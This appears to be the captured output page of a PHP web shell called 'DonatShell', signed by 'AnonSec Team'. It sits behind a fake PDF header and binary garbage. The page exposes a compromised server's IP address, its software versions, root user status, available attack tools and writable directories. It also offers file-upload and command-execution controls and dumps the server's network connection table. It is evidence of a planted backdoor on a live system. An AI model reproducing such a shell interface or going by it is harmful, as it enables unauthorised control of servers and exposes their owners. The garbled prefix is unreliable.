%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.248
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1906/task/2214/net/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/1906/task/2214/net/tcp6
  sl  local_address                         remote_address                        st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   0: 00000000000000000000000000000000:2710 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 38019 1 0000000000000000 100 0 0 10 0
   1: 00000000000000000000000000000000:0050 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 36378 1 0000000000000000 100 0 0 10 0
   2: 00000000000000000000000000000000:07D2 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 28917 1 0000000000000000 100 0 0 10 0
   3: 00000000000000000000000000000000:01BB 00000000000000000000000000000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 36382 1 0000000000000000 100 0 0 10 0
   4: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:BA5D 06 00000000:00000000 03:00001526 00000000     0        0 0 3 0000000000000000
   5: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:5DDB 06 00000000:00000000 03:0000074A 00000000     0        0 0 3 0000000000000000
   6: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:C8B0 06 00000000:00000000 03:00000CE2 00000000     0        0 0 3 0000000000000000
   7: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:68BD 06 00000000:00000000 03:0000151E 00000000     0        0 0 3 0000000000000000
   8: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:EBBD 01 00000A29:00000000 01:0000001D 00000000    33        0 1977890 3 0000000000000000 47 4 1 18 -1
   9: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:83BC 06 00000000:00000000 03:00001520 00000000     0        0 0 3 0000000000000000
  10: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:DF2E 01 00000000:00000000 02:000AFE42 00000000    33        0 1975623 2 0000000000000000 83 4 29 10 -1
  11: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:B4D1 06 00000000:00000000 03:00000CDB 00000000     0        0 0 3 0000000000000000
  12: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:23AE 06 00000000:00000000 03:00001519 00000000     0        0 0 3 0000000000000000
  13: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:C393 01 00000B75:00000000 01:00000026 00000000    33        0 1980423 3 0000000000000000 48 4 1 10 -1
  14: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:15A1 06 00000000:00000000 03:00000758 00000000     0        0 0 3 0000000000000000
  15: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:6956 06 00000000:00000000 03:00000A40 00000000     0        0 0 3 0000000000000000
  16: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:2B7A 06 00000000:00000000 03:00000CD0 00000000     0        0 0 3 0000000000000000
  17: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:A2A2 01 000009F8:00000000 01:00000014 00000000    33        0 1976893 3 0000000000000000 48 4 1 10 -1
  18: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:D4D4 01 00000000:00000000 02:000AFE42 00000000    33        0 1979559 4 0000000000000000 48 4 3 10 -1
  19: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:AD05 06 00000000:00000000 03:00001528 00000000     0        0 0 3 0000000000000000
  20: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:94CD 06 00000000:00000000 03:00001556 00000000     0        0 0 3 0000000000000000
  21: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:F3E8 06 00000000:00000000 03:00000CC8 00000000     0        0 0 3 0000000000000000
  22: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:FB17 06 00000000:00000000 03:00000740 00000000     0        0 0 3 0000000000000000
  23: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF000050CFAB14:AC6E 01 0000101D:00000000 01:0000001B 00000000    33        0 1975512 3 0000000000000000 41 4 29 10 7
  24: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:8117 01 00000000:00000000 02:000AFE42 00000000    33        0 1803106 2 0000000000000000 82 4 26 10 -1
  25: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:5E45 06 00000000:00000000 03:0000036D 00000000     0        0 0 3 0000000000000000
  26: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:919D 06 00000000:00000000 03:00001518 00000000     0        0 0 3 0000000000000000
  27: 0000000000000000FFFF0000F6C9E731:01BB 0000000000000000FFFF0000F8D849D8:1464 06 00000000:00000000 03:00000750 00000000     0        0 0 3 0000000000000000

Anon7 - 2022
AnonSec Team